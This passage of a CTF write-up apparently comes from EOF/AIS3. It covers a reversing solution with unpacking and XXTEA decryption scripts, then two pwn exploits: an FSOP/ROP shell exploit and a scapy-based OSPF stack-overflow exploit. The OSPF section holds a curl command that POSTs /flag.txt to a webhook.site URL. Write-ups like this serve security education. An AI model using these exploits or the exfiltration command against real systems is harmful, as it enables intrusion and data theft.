或是解殼很常見。很重要的是,在 `0x0042c904` 的地方會先把剛剛輸入的 key 放到位址 `0x43a218` ![圖片](https://hackmd.io/_uploads/BJh_GIR7-g.png) 然後找到解殼的部分,從地址 `0x401000` 解密 `0x015600` 個位元組,並且拿第一階段輸入的密碼作為密鑰: ![圖片](https://hackmd.io/_uploads/r18YfUCQbg.png) 寫個解密腳本: ```python title:decrypt.py import pefile def solve(): filename, outname = "PokemonGo.exe", "decrypted_PokemonGo.exe" key = b"1s_th1s_y0u7_f1@g?" va_start = 0x401000 size = 0x15600 print(f"[*] Loading {filename}...") pe = pefile.PE(filename) rva = va_start - pe.OPTIONAL_HEADER.ImageBase offset = pe.get_offset_from_rva(rva) print(f"[*] VA 0x{va_start:X} maps to File Offset: 0x{offset:X}") data = bytearray(pe.__data__) k_len = len(key) for i in range(size): if offset + i < len(data): data[offset + i] ^= (key[i % k_len] + i) & 0xFF with open(outname, "wb") as f: f.write(data) print(f"[+] Saved to {outname}") if __name__ == "__main__": solve() ``` 在 `0x0042ca40` 可以看到解完殼後跳到 `0x405ce4`,就是原本被加密的部分。接著他會 call 到 `0x405b5f` 一個很像 crt 的函式,在裡面 `0x405c5f` 的位址就可以看到呼叫 `main`(`0x004041e0`) 了。 在 `main` 裡面,印出 banner 的下方可以看到 `getchar` 迴圈讀取使用者輸入。然後底下加密輸入的函式 LLM 告訴我是 TEA。 ![圖片](https://hackmd.io/_uploads/rkacfIR7-x.png) 順著可以找到核心的加密迴圈,並且發現密鑰在` 0x4209dc`: ![圖片](https://hackmd.io/_uploads/Hk6izLRX-l.png) ``` \xa6\xb7\xb6\x0e\x1e\x1d\x1e0\xcd\xe2g\x1a\xa6\xac\x99\xc1 ``` 我接著去檢查比對的邏輯,發現她會去比較地址 `0x420978` 的 44 個位元組,應該是已經加密過的 flag,所以我們就要用 TEA 去解密他。 ![圖片](https://hackmd.io/_uploads/BJuTGLR7-e.png) ``` \x05\xd4B\x85\x9c!\xac\x96$P\xdb\x8e\xbf2\xcb=4~\xb7R\xc3\x9b9\xdb\xac\x8c\t>\x8b\xca\xd5\xe1u\x1c>P\xb5\xe6~\xcb1\x12Xg ``` 但事情並沒有想像中的簡單,我卡了整整一天,甚至還跑去解所有 junk code。最後土法煉鋼從 `0x401000` 開始慢慢往下看發現了這段: ![圖片](https://hackmd.io/_uploads/r1MCGIRm-g.png) 居然直接在 `0x401110`(剛剛比對加密 flag 的地方) 塞一個 `0xcc`(aka. `int3`),而且看起來是在設定例外處理。 往上追進 `0x402b30`,就看到了這段,感覺就是偷偷先把加密過的資料 xor `0xE9`。 ![圖片](https://hackmd.io/_uploads/H1bJX80XWx.png) ```python title:decrypt_flag.py import struct # [Key] IDA .data:004209DC static_key_bytes = bytes([ 0xA6, 0xB7, 0xB6, 0x0E, 0x1E, 0x1D, 0x1E, 0x30, 0xCD, 0xE2, 0x67, 0x1A, 0xA6, 0xAC, 0x99, 0xC1 ]) # [Ciphertext] IDA .data:00420978 raw_cipher_bytes = bytes([ 0x05, 0xD4, 0x42, 0x85, 0x9C, 0x21, 0xAC, 0x96, 0x24, 0x50, 0xDB, 0x8E, 0xBF, 0x32, 0xCB, 0x3D, 0x34, 0x7E, 0xB7, 0x52, 0xC3, 0x9B, 0x39, 0xDB, 0xAC, 0x8C, 0x09, 0x3E, 0x8B, 0xCA, 0xD5, 0xE1, 0x75, 0x1C, 0x3E, 0x50, 0xB5, 0xE6, 0x7E, 0xCB, 0x31, 0x12, 0x58, 0x67 ]) print("[*] Applying VEH Trap Fix (Cipher ^ 0xE9)...") real_cipher_ba = bytearray(len(raw_cipher_bytes)) for i in range(len(raw_cipher_bytes)): real_cipher_ba[i] = raw_cipher_bytes[i] ^ 0xE9 print(f" Fixed Cipher Hex: {real_cipher_ba.hex()}") print(f" Static Key Hex: {static_key_bytes.hex()}") def xxtea_decrypt(v, k): MASK = 0xFFFFFFFF DELTA = 0x213B6EA8 # 題目魔改 Delta n = len(v) rounds = 6 + 52 // n # 加密是 sum -= DELTA,解密 sum 從負數開始加回來 sum_val = (rounds * -DELTA) & MASK y = v[0] while sum_val != 0: e = (sum_val >> 2) & 3 for p in range(n - 1, -1, -1): z = v[(p - 1) % n] mx = ((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ( (sum_val ^ y) + (k[(p & 3) ^ e] ^ z) ) v[p] = (v[p] - mx) & MASK y = v[p] sum_val = (sum_val + DELTA) & MASK return v # 轉換為 uint32 陣列 (Little Endian) KEY_INTS = list(struct.unpack("<4I", static_key_bytes)) CIPHER_INTS = list(struct.unpack("<11I", real_cipher_ba)) print(f"[*] Decrypting XXTEA...") decrypted_ints = xxtea_decrypt(CIPHER_INTS, KEY_INTS) # 轉回字串 flag_bytes = b"" for val in decrypted_ints: flag_bytes += struct.pack("<I", val) try: flag = flag_bytes.decode("utf-8").rstrip("\x00") print(f"FLAG: {flag}") except Exception as e: print(f"Raw Decrypted: {flag_bytes}") ``` 執行結果: ```shell ➜ uvr decrypt_flag.py [*] Applying VEH Trap Fix (Cipher ^ 0xE9)... Fixed Cipher Hex: ec3dab6c75c8457fcdb9326756db22d4dd975ebb2a72d0324565e0d762233c089cf5d7b95c0f9722d8fbb18e Static Key Hex: a6b7b60e1e1d1e30cde2671aa6ac99c1 [*] Decrypting XXTEA... FLAG: EOF{ebf26c99-ce3b-4df6-92d1-702f0902d19d} ``` ## Pwn ### ooonenooote > Solver: zKltch ![image](https://hackmd.io/_uploads/Sk6opqvQWg.png) - **challenge source code** ```c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define MAX_LEN 0x10 int main(){ setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); char* notes[MAX_LEN] = {0}; int choice = 0; puts("Welcome to ooone nooote!"); printf("Give me your index: "); if(scanf("%d%*c", &choice) != 1){ puts("Invalid index"); exit(0x1337); } if (choice > MAX_LEN){ puts("Index out of range"); exit(0x69); } notes[choice] = calloc(1,128); printf("OK, give me the content of your note: "); read(0, notes[choice], 128); printf("You have reached the limit of notes! Exiting..."); exit(0); } ``` from the source code of the challenge it seems like we can only do **out of bound underflow write** since it checks the index and MAX_LEN first I tried to manipulate the choice variable on the stack that could control where I write the data into ![image](https://hackmd.io/_uploads/rJL_IC_XZe.png) but sadly it faliled since i cant control what `calloc` return ![image](https://hackmd.io/_uploads/rJIkw0_X-x.png) so I looked around the the stack memory where I can control with **out of bound** vulnerability and found something suspicious which is **FILE Structures** maybe i can do anything with it? ![image](https://hackmd.io/_uploads/SyWNY0dQbe.png) I tried to set choice around there and found out that after i set the index at **-108** it will be overwritten with `0x40e140` instead of the allocated memory by `calloc` with that I can write the data to `__stdout_FILE` and do **FSOP** ![image](https://hackmd.io/_uploads/H1Q4i0_7Wl.png) the reason behind this is that after called the `calloc` it also called the `printf` function when `printf` is called, it overwrote the pointer allocated by `calloc` with `__stdout_FILE` ![image](https://hackmd.io/_uploads/B1Apj0OX-e.png) after that we just do **FSOP** and **stack pivoting** to my **ROP chain** #### exploit ```python from pwn import * context.log_level = 'DEBUG' context.terminal = ['tmux', 'new-window'] context.binary = './chall' #p = process("./chall") p = remote("chals1.eof.ais3.org", 13337) __stdout_FILE = -108 pop_rbp_r14 = p64(0x0000000000401840) pop_rbx = p64(0x00000000004045D0) pop_rax = p64(0x0000000000401001) pop_r14 = p64(0x0000000000401841) mov_rdi_space_rax = p64(0x0000000000401E25) leave_ret = p64(0x0000000000409DFE) mov_rax_rbx_syscall = p64(0x0000000000404CF1) syscall2 = p64(0x0000000000404CED) # xor edx, edx ; mov rax, rbx ; mov rsi, rbp ; syscall controlflow = leave_ret # leave_ret # original _flags 0x45 fsop = p64(0xFBAD1800) + pop_rbx fsop += p64(0x3B) + pop_rbp_r14 fsop += p64(1) + p64(1) # cant change fsop += pop_rax + b"/bin/sh\00" fsop += pop_r14 + controlflow fsop += mov_rdi_space_rax + syscall2 fsop += p64(1) * 4 def sendpayload(index, note): p.sendlineafter(": ", str(index).encode()) p.sendlineafter(": ", note) # gdb.attach(p) sendpayload(__stdout_FILE, fsop) p.interactive() ``` ![image](https://hackmd.io/_uploads/HJmSg1YXWx.png) > Flag: EOF{I_accidently_found_this_unintended_solution_in_an_EZ_challenge_Lol_Hope_you_find_this_cool_lol_2e4e0fe9d5c9ae17bc75cc} ### CAgent - OSPF > Solver: zKltch ![image](https://hackmd.io/_uploads/Sk-BoxFQ-e.png) - A OSPF routing protocol binary challenge since the source code is too long(1400+ lines) so I wont put the full source code here ![image](https://hackmd.io/_uploads/BJCiVtjQZx.png) ![image](https://hackmd.io/_uploads/BJUaNFiQ-l.png) - the binary is most likely going to play around **ROP** since **statically linked** and **No PIE No Canary** first take a look at the challenge's source code and found a obvious memcpy buffer overflow that `num_headers` could be controlled by remote user ![image](https://hackmd.io/_uploads/BkTMhIcmZg.png) but sadly it enabled `_FORTIFY_SOURCE` ![image](https://hackmd.io/_uploads/r1Cip8cQbx.png) when compiling with `_FORTIFY_SOURCE` on it will try check the the size of destination buffer and turn the normal `memcpy` function into `_memcpy_chk` when calling `memcpy` it will check the size it trying to copy and the size of the destination buffer if `size > size of destination buffer` it will trigger `_chk_fail` ![image](https://hackmd.io/_uploads/ByEc0897Wx.png) so attacking with the `memcpy` **stack overflow** vulnerability **failed** but I found another **buffer overflow** vulnerability in `ospf_send_hello` function the `packet` is a `256` bytes fixed buffer and if the remote user sending too many hello packets with different router id will cause stack overflow at `while` loop ![image](https://hackmd.io/_uploads/SktafvqQbl.png) using that vulnerability we successfully controlled the **RIP** also noticed that we can control other registers including **RBP** ![image](https://hackmd.io/_uploads/B1FKDPcQWl.png) however since the OSPF protocol will deduplicatie same **router_ID(IP)** so each **router_ID** has to be different that mean I can only send `p32(0)` once and the **ROP gadgets** is something like `0x0000000000421B2C` so i can only **control flow** once to solve this issue we need to **leak** some **ASLR address** that I can **write** my **ROP chain** and **stack pivoting** **out of bound read** in `ospf_recv_lsu` function we can control `num_lsas` field and `data` do **out out bound** read make the `num_lsass` really big and real `data` only few bytes the code assume the ptr is valid header but actually copying **stack memory** on stack ![image](https://hackmd.io/_uploads/ryf2hjjX-e.png) with that we successfully leaked **stack address** ![image](https://hackmd.io/_uploads/HJfJAsiQZe.png) ![image](https://hackmd.io/_uploads/SJGXAis7-e.png) now I just need find somewhere on **stack** to put my **ROP chain** and **stack pivoting** to it however if you just do `system("/bin/sh")` it would only open a shell on server side so I have to find a way to send the **flag** back to me and I found that on the server side installed `curl` we can make a payload that `curl` with **flag** send to my **webhook** - payload: ```curl https://webhook.site/16174825-680f-4c12-a819-419bc35fb072 -X POST -d "$(cat /flag.txt)"``` ![image](https://hackmd.io/_uploads/r1lBZhjmbl.png) now our final attack plan is - **leak stack address** > **send a packet with ROP chain on stack** > **stack overflow** > **stack pivoting** > **RCE** #### exploit ```python from pwn import * from scapy.all import * from scapy.contrib.ospf import * import struct import time import sys conf.verb = 0 IFACE = "eth0" def get_local_ip(): try: return get_if_addr(IFACE) except: return "127.0.0.1" def get_target_mac(target_ip): ans, _ = srp( Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=target_ip), timeout=2, verbose=False ) if ans: return ans[0][1].src return "ff:ff:ff:ff:ff:ff" ATTACKER_IP = get_local_ip() ip_parts = ATTACKER_IP.split(".") TARGET_IP = f"{ip_parts[0]}.{ip_parts[1]}.{ip_parts[2]}.11" TARGET_MAC = get_target_mac(TARGET_IP) ROUTER_ID = "1.1.1.1" AREA_ID = 0 context.arch = "amd64" context.log_level = "info" def fletcher16_ospf(data): c0 = 0 c1 = 0 for i, byte in enumerate(data): if i == 14 or i == 15: c0 = (c0 + 0) % 255 c1 = (c1 + c0) % 255 else: c0 = (c0 + byte) % 255 c1 = (c1 + c0) % 255 x = ((len(data) - 14) * c0 - c1) % 255 if x <= 0: x += 255 y = (510 - c0 - x) % 255 if y <= 0: y += 255 return (int(x) << 8) | int(y) def get_router_id_from_value(val): b = p32(val) return f"{b[0]}.{b[1]}.{b[2]}.{b[3]}" def create_malicious_lsa(ls_id_int, lsa_len=2048): rid_bytes = inet_aton(ROUTER_ID) ls_id_bytes = struct.pack(">I", ls_id_int) options_type = struct.pack(">BB", 0x22, 1) # Router LSA seq_field = struct.pack(">I", 0x80000000 + ls_id_int) len_field = struct.pack(">H", lsa_len) dummy_payload = b"A" * 32 chksum_data = ( options_type + ls_id_bytes + rid_bytes + seq_field + b"\x00\x00" + len_field + dummy_payload ) calculated_chk = fletcher16_ospf(chksum_data) header = ( b"\x00\x01" + options_type + ls_id_bytes + rid_bytes + seq_field + struct.pack(">H", calculated_chk) + len_field ) return header + dummy_payload def send_hello(src_router_id, neighbor_ip=None): neighbors = [neighbor_ip] if neighbor_ip else [TARGET_IP] hello_layer = OSPF_Hello( router=TARGET_IP, neighbors=neighbors, mask="255.255.255.0", hellointerval=10, deadinterval=40, prio=1, ) p = ( Ether(dst=TARGET_MAC) / IP(src=ATTACKER_IP, dst=TARGET_IP, proto=89) / OSPF_Hdr(src=src_router_id, area=AREA_ID) / hello_layer ) sendp(p, iface=IFACE, verbose=0) def do_info_leak(): log.info("--- Phase 1: Info Leak ---") # 1. malicous LSA lsa1 = create_malicious_lsa(1, 2048) lsa2 = create_malicious_lsa(2, 2048) lsu_packet = ( Ether(dst=TARGET_MAC) / IP(src=ATTACKER_IP, dst=TARGET_IP, proto=89) / OSPF_Hdr(src=ROUTER_ID, area=AREA_ID, type=4) / OSPF_LSUpd(lsacount=2) / Raw(load=lsa1 + lsa2) ) log.info("Injecting malformed LSAs...") sendp(lsu_packet, iface=IFACE, verbose=0) time.sleep(0.5) sniffer = AsyncSniffer(filter=f"proto 89 and host {TARGET_IP}", iface=IFACE) sniffer.start() time.sleep(0.5) log.info("Sending LSR request...") rid_bytes = inet_aton(ROUTER_ID) lsr_payload = struct.pack( ">I4s4s", 1, struct.pack(">I", 1), rid_bytes ) + struct.pack(">I4s4s", 1, struct.pack(">I", 2), rid_bytes) lsr_packet = ( Ether(dst=TARGET_MAC) / IP(src=ATTACKER_IP, dst=TARGET_IP, proto=89) / OSPF_Hdr(src=ROUTER_ID, area=AREA_ID, type=3) / OSPF_LSReq() / Raw(load=lsr_payload) ) sendp(lsr_packet, iface=IFACE, verbose=0) time.sleep(2.5) # analyze sniffer.stop() ans = sniffer.results all_leaked_content = b"" for pkt in ans: if IP in pkt and bytes(pkt[IP].payload)[1] == 4: # LSU Type raw_ip_payload = bytes(pkt[IP].payload) all_leaked_content += raw_ip_payload[24:] if not all_leaked_content: log.warning(f"Leak failed: No data captured. (Total Pkts: {len(ans)})") return None log.info(f"Total Leaked Bytes: {len(all_leaked_content)}") print(hexdump(all_leaked_content[:1536])) return all_leaked_content def exploit(): log.info(f"Target MAC: {TARGET_MAC}") send_hello(ROUTER_ID) time.sleep(0.5) leaked_bytes = do_info_leak() pop_rsi = p64(0x0000000000402571) pop_rax = p64(0x00000000004282FB) pop_rdi = p64(0x0000000000401CF7) syscall = p64(0x00000000004016ED) binsh = b"/bin/sh\0" c = b"-c" + b"\00" * 6 cmd = b"curl " cmd += b"https://webhook.site/66b3f3b4-e60a-4221-af49-60bc4b8cbbc8" cmd += b' -X POST -d "$(cat /flag.txt)"\00\00\00\00' target_addr = 0x400000 if leaked_bytes: log.info("Scanning leak for pointers...") for i in range(0, len(leaked_bytes) - 8, 8): try: ptr = u64(leaked_bytes[i : i + 8]) if 0x400000 <= ptr <= 0x4B0000: log.success(f"Found code pointer at offset {i}: {hex(ptr)}") elif 0x7F0000000000 <= ptr <= 0x7FFFFFFFFFFF: log.success(f"Found library pointer at offset {i}: {hex(ptr)}") except: continue print(leaked_bytes[228 : 228 + 8]) stack_addr = u64(leaked_bytes[228 : 228 + 8]) print(hex(stack_addr)) stack_pivoting = stack_addr - 0xB8 log.info("--- Phase 2: Spraying Buffer via Type 5 (LSAck) ---") chunk_markers = [0xDEADBEEFCAFEBABE, 0x1122334455667788, 0xAAAAAAAAAAAABBBB] for marker in chunk_markers: chunk_payload = p64(marker) * 10 + b"D" * 4 chunk_payload += pop_rax + p64(0x3B) chunk_payload += pop_rdi + p64(stack_pivoting + 0x40) chunk_payload += pop_rsi + p64(stack_pivoting + 0xB0) chunk_payload += syscall chunk_payload += binsh + c + cmd chunk_payload += p64(stack_pivoting + 0x40) chunk_payload += p64(stack_pivoting + 0x48) chunk_payload += p64(stack_pivoting + 0x50) + p64(0) chunk_payload.ljust(1200, b"D") spray_pkt = ( Ether(dst=TARGET_MAC) / IP(src=ATTACKER_IP, dst=TARGET_IP, proto=89) / OSPF_Hdr(src=ROUTER_ID, area=AREA_ID, type=5) / Raw(load=chunk_payload) ) sendp(spray_pkt, iface=IFACE, verbose=0) time.sleep(0.05) log.info("--- Phase 3: Final Stack Overflow ---") stack_pivoting = stack_addr - 0xB8 target_addr = 0x0000000000421B2C # leave ret stack_values = [0x10101010 + i for i in range(0x37)] stack_values.append((stack_pivoting & 0xFFFFFFFF)) stack_values.append(stack_pivoting >> 32) stack_values += [0x10101010 + i for i in range(0x39, 0x3B)] registers = [(0xDEADBEEF, 0xD1203040), ((0xE1203040), (0x123BEFE2))] for low, high in registers: stack_values.append(low) stack_values.append(high) stack_values.append(target_addr & 0xFFFFFFFF) stack_values.append((target_addr >> 32) & 0xFFFFFFFF) router_ids = [get_router_id_from_value(v) for v in stack_values] for rid in router_ids[::-1]: send_hello(rid) time.sleep(0.01) log.success("Exploit task completed.") if __name__ == "__main__": exploit() ``` ![image](https://hackmd.io/_uploads/rkkBTxKQbe.png) > Flag: EOF{Wh47_7h3_h3ll_y0u_jus7_wr073_f0r_m3_?_Cl4ud3_!!!}

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully